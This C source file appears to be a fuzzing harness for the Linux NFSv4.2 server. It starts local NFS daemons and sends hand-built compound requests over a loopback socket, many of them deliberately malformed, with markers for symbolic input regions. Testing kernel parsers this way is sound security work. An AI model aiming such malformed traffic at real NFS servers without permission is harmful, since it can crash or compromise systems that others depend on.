{
  put_compound(5);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  put_lookup(name);
  put_setattr();
  send_send();
  parse_reply(1);
}

void
put_set_acl(int dosym)
{
  put32(34);
  put32(stateid_seqid); // open_stateid, from previous OPEN
  for(int i = 0; i < 12; i++)
    obuf[oi++] = stateid_other[i];
  int words[3];
  words[0] = words[1] = words[2] = 0;
  words[0] |= (1 << 12); // acl
  if(dosym && symstart == -1)
    symstart = oi + 4*4; // skip over FATTR4 bitmap
  put_fattr4(words, 1);
}

void
put_getattr()
{
  put32(9);
  put32(3);
  put32(1 << 12);
  put32(0);
  put32(0);
}

void
send_set_acl(char *name, int dosym)
{
  put_compound(6);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  put_lookup(name);
  put_set_acl(dosym);
  put_getattr();
  send_send();
  parse_reply(1);
}

void
put_putfh(int dosym)
{
  put32(22);
  if(dosym && symstart == -1)
    symstart = oi;
  put_opaque(28, tmp_fh);
}

void
send_putfh()
{
  put_compound(2);
  put_sequence();
  put_putfh(0);
  send_send();
  parse_reply(1);
}

void
put_getfh()
{
  put32(10);
}

void
send_lookup()
{
  put_compound(4);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  put_getfh();
  send_send();
  parse_reply(1);
}

void
send_readdir(int dosym)
{
  put_compound(4);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  put_readdir(dosym);
  send_send();
  parse_reply(1);
}

void
put_listxattrs()
{
  put32(74);
  put64(0); // cookie
  put32(16384); // maxcount
}

void
send_listxattrs()
{
  put_compound(4);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  put_listxattrs();
  send_send();
  parse_reply(1);
}

void
put_unlock(int dosym)
{
  put32(14);
  if(dosym && symstart == -1)
    symstart = oi;
  put32(1); // READ_LT
  put32(0); // open_seqid
  put32(stateid_seqid); // open_stateid, from previous OPEN
  for(int i = 0; i < 12; i++)
    obuf[oi++] = stateid_other[i];
  put64(0); // offset
  put64(1); // length
}

void
send_unlock(int dosym)
{
  put_compound(5);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  put_lookup("lockfile");
  put_unlock(dosym);
  send_send();
  parse_reply(1);
}

void
put_lock(int dosym)
{
  put32(12);
  if(dosym && symstart == -1)
    symstart = oi;
  put32(1); // READ_LT
  put32(0); // reclaim
  put64(0); // offset
  put64(2); // length
  put32(1); // new_lock_owner
  put32(0); // open_seqid
  put32(stateid_seqid); // open_stateid, from previous OPEN
  for(int i = 0; i < 12; i++)
    obuf[oi++] = stateid_other[i];
  put32(0); // lock_seqid
  put64(clientid); // clientid
  put_opaque(22, "Linux NFSv4.2 xyzzy"); // owner
}

void
send_lock(int dosym)
{
  put_compound(5);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  put_lookup("lockfile");
  put_lock(dosym);
  send_send();
  parse_reply(1);
}

void
put_dir_delegation(int dosym)
{
  put32(46);
  if(dosym && symstart == -1)
    symstart = oi;
  put32(0); // signal_deleg_avail
  put32(3); // notification_types bitmap length
  put32(0xffffffff);
  put32(0xffffffff);
  put32(0xffffffff);
  put64(0); // child_attr_delay
  put32(0); // child_attr_delay
  put64(0); // dir_attr_delay
  put32(0); // dir_attr_delay
  put32(3); // child_attributes bitmap length
  put32(0xffffffff);
  put32(0xffffffff);
  put32(0xffffffff);
  put32(3); // dir_attributes bitmap length
  put32(0xffffffff);
  put32(0xffffffff);
  put32(0xffffffff);
}

void
send_dir_delegation(int dosym)
{
  put_compound(4);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  put_dir_delegation(dosym);
  send_send();
  parse_reply(1);
}

void
put_verify(int dosym)
{
  put32(37);
  put32(2);
  if(dosym && symstart == -1)
    symstart = oi;
  put32(0);
  put32(0);
  put32(1024);
  for(int i = 0; i < 1024/4; i++)
    put32(0xffffffff);
}

void
send_verify()
{
  put_compound(4);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  put_verify(1);
  send_send();
  parse_reply(1);
}

void
put_setxattr(int dosym)
{
  put32(73);
  if(dosym == 2){
    put32(0); // SETXATTR4_EITHER
    unsigned int klen = aa[aai++] & 0xfff;
    unsigned int vlen = aa[aai++] & 0xfff;
    for(int i = oi; i+8 <= sizeof(obuf) && aai < NAA; i += 8)
      *(unsigned long long *)(obuf + i) = 0x4444444444444444ll ^ aa[aai++];
    if(klen < 1) klen = 1;
    put32(klen);
    oi += klen;
    while((oi % 4) != 0) oi++;
    put32(vlen);
    oi += vlen;
    while((oi % 4) != 0) oi++;
  } else if(dosym == 3) {
    int xoi = oi;
    put32(0); // SETXATTR4_EITHER
    put32(24); // klen
    for(int i = 0; i < 3; i++){
      *(long long *)(obuf + oi) = 0x4444444444444444ll ^ aa[aai++];
      oi += 8;
    }
    put32(24); // vlen
    for(int i = 0; i < 3; i++){
      *(long long *)(obuf + oi) = 0x4444444444444444ll ^ aa[aai++];
      oi += 8;
    }
  } else {
    int xoi = oi;
    put32(0); // SETXATTR4_EITHER
    put_opaque(24, "12345678abcdefgh12345678"); // key
    put_opaque(16, "abcdefgh12345678"); // value
    if(dosym)
      for(int i = xoi; i+8 <= oi; i += 8)
        *(long long *)(obuf+i) ^= aa[aai++];
  }
}

void
send_setxattr(int dosym)
{
  put_compound(5);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  sys("echo hi > /tmp/xfile ; chown nobody /tmp/xfile");
  put_lookup("xfile");
  put_setxattr(dosym);
  send_send();
  parse_reply(1);
}

void
put_remove(char *name)
{
  put32(28);
  put_opaque(strlen(name), name);
}

void
send_remove(char *name)
{
  put_compound(5);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  put_remove(name);
  send_send();
  parse_reply(1);
}

void
put_junk(int op, int words)
{
  put32(op);
  if(symstart != -1)
    symstart = oi;
  for(int i = 0; i < words; i++)
    put32(0);
}

void
send_junk(int op, int words)
{
  put_compound(4);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  put_junk(op, words);
  send_send();
  parse_reply(1);
}

void
put_layoutget(int dosym)
{
  put32(50);
  if(dosym && symstart == -1)
    symstart = oi;
  put32(1); // signal_layout_avail
  put32(4); // layout_type, FLEXFILE
  put32(3); // iomode, ANY
  put64(0); // offset
  put64(8); // length
  put64(8); // minlength
  put32(1); // stateid seq -- special current stateid
  for(int i = 0; i < 12; i++)
    obuf[oi++] = 0;
  put32(4096); // maxcount
}

void
send_layoutget(int dosym)
{
  sys("echo 1234567890123456 > /tmp/out");
  sys("chown nobody /tmp/out");
  put_compound(5);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  put_open_existing("out", 3);
  put_layoutget(dosym);
  send_send();
  parse_reply(1);
}

void
put_layoutreturn(int dosym)
{
  put32(51);
  if(dosym && symstart == -1)
    symstart = oi;
  put32(1); // reclaim
  put32(4); // layout_type, FLEXFILE
  put32(3); // iomode, ANY
  put32(1); // returntype, FILE
  put64(0); // offset
  put64(8); // length
  put32(1); // stateid seq -- special current stateid
  for(int i = 0; i < 12; i++)
    obuf[oi++] = 0;
  put_opaque_repeat(64, 'x'); // lrf_body<>
}

void
send_layoutreturn(int dosym)
{
  sys("echo 1234567890123456 > /tmp/out");
  sys("chown nobody /tmp/out");
  put_compound(5);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  put_open_existing("out", 3);
  put_layoutreturn(dosym);
  send_send();
  parse_reply(1);
}

void
put_secinfo_no_name(int dosym)
{
  put32(52);
  put32(1); // 0=CURRENT_FH, 1=PARENT
}

void
send_secinfo_no_name(int dosym)
{
  sys("echo 1234567890123456 > /tmp/out");
  sys("chown nobody /tmp/out");
  put_compound(5);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  put_open_existing("out", 3);
  put_secinfo_no_name(dosym);
  send_send();
  parse_reply(1);
}

void
put_get_dir_delegation(int dosym)
{
  put32(46);
  if(dosym && symstart == -1)
    symstart = oi;
  put32(1); // signal_delet_avail
  put32(3); // notification_types bitmap length
  put32(0xffffffff);
  put32(0xffffffff);
  put32(0xffffffff);
  put64(0); // child_attr_delay
  put64(0);
  put64(0); // dir_attr_delay
  put64(0);
  put32(3); // child_attributes bitmap length
  put32(0xffffffff);
  put32(0xffffffff);
  put32(0xffffffff);
  put32(3); // dir_attributes bitmap length
  put32(0xffffffff);
  put32(0xffffffff);
  put32(0xffffffff);
}

void
send_get_dir_delegation(int dosym)
{
  put_compound(4);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  put_get_dir_delegation(dosym);
  send_send();
  parse_reply(1);
}

void
send_blah()
{
  put_compound(4);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  symstart = oi;
  for(int i = 0; i < 32; i++)
    put32(0xffffffff);
  send_send();
  parse_reply(1);
}

void
put_read(int dosym)
{
  put32(25);
  if(dosym && symstart == -1)
    symstart = oi;
  put32(stateid_seqid); // open_stateid, from previous OPEN
  for(int i = 0; i < 12; i++)
    obuf[oi++] = stateid_other[i];
  put64(0); // offset
  put32(512); // count
}

void
send_read(int dosym)
{
  put_compound(5);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  sys("rm -f /tmp/foof; echo hello > /tmp/foof; chown nobody /tmp/foof");
  put_open_existing("foof", 1);
  put_read(dosym);
  send_send();
  parse_reply(1);
}

void
put_write(int dosym)
{
  put32(38);
  if(dosym && symstart == -1)
    symstart = oi;
  put32(stateid_seqid); // open_stateid, from previous OPEN
  for(int i = 0; i < 12; i++)
    obuf[oi++] = stateid_other[i];
  put64(-9999); // offset
  put32(0); // stable_how
  put_opaque(6, "hello\n"); // data
}

void
send_write(int dosym)
{
  put_compound(5);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  unlink("/tmp/newnew");
  put_open_create("newnew", 0);
  put_write(dosym);
  send_send();
  parse_reply(1);
}

int
main(){
  setlinebuf(stdout);
  struct rlimit r;
  r.rlim_cur = r.rlim_max = 0;
  setrlimit(RLIMIT_CORE, &r);

  // /etc/exports
  // /tmp 127.0.0.1(rw,subtree_check)

  sys("/etc/init.d/rpcbind start");
  sys("/usr/sbin/rpc.idmapd");
  sys("mount -t nfsd nfsd /proc/fs/nfsd");
  sleep(2);
  sys("/usr/sbin/rpc.nfsd --lease-time 10 --grace-time 10 1");
  sleep(2);
  sys("/usr/sbin/rpc.mountd --manage-gids");
  sleep(2);
  sys("exportfs -au");
  sys("exportfs -f");
  sys("exportfs -r");
  //sys("exportfs -v");
  // sys("rpcdebug -m nfsd -s all");
  // sys("rpcdebug -m nfs -s all");
  // sys("rpcdebug -m rpc -s all");
  //sys("cat /proc/fs/nfsd/exports");

  s = socket(AF_INET, SOCK_STREAM, 0);
  int yes = 1;
  if(setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes)) < 0)
    perror("SO_REUSEADDR");
  struct sockaddr_in sin;
  memset(&sin, 0, sizeof(sin));
  sin.sin_family = AF_INET;
  sin.sin_addr.s_addr = inet_addr("127.0.0.1");
  for(int i = 100; i < 1024; i++){
    sin.sin_port = htons(i);
    if(bind(s, (struct sockaddr *)&sin, sizeof(sin)) == 0){
      printf("bound to port %d\n", i);
      break;
    }
  }
  sin.sin_port = htons(2049);

  sync();
  sleep(11); // grace period

  if(connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
    perror("connect");
    exit(1);
  }

  int pid = fork();
  if(pid == 0){
    send_nop();
    
    // send_exchange_id_sym();
    send_exchange_id(0);
    
    send_create_session(0);

    send_reclaim_complete();
    
    // server may miss the first time, yielding 10008 NFS4ERR_DELAY.
    // so trigger the upcall to rpc.mountd and wait a bit.
    send_lookup();
    setpriority(PRIO_PROCESS, 0, 15);
    sleep(2);

    send_blah();
    // send_write(0);
    //send_read(0);

    // send_secinfo_no_name(0);

    // send_layoutget(0);
    // send_layoutreturn(0);

    //send_verify();

    //send_junk(51, 20); // 51 is LAYOUTRETURN

    //send_listxattrs();

    //send_putfh();
    
    //send_open_read();
    
    // send_open_create("newfile", 0);
    // send_remove("newfile");
    
    //send_readdir(0);
    //send_readdir(1);

    //sys("rm -f /tmp/frobozz ; touch /tmp/frobozz ; chown nobody /tmp/frobozz");
    //send_open_existing("frobozz", 3); // fetch stateid, for lock
    // send_setattr(1);
    //send_set_acl(1);

    //send_create();

    //sys("echo xxxxxxxxxx > /tmp/lockfile ; chmod ogu+rwx /tmp/lockfile");
    //sys("chown nobody /tmp/lockfile");
    //send_open_existing("lockfile", 3); // fetch stateid, for lock
    //send_lock(0);
    //send_lock(1);
    //send_unlock(1);

    //send_dir_delegation(1);

    // send_setxattr(2);

    sleep(2);
    close(s);
    sleep(1);

    exit(0);
  }
  close(s);

  for(int i = 0; i < 60; i++){
    sleep(1);
    int st;
    int ret = waitpid(pid, &st, WNOHANG);
    if(ret == pid)
      break;
  }

}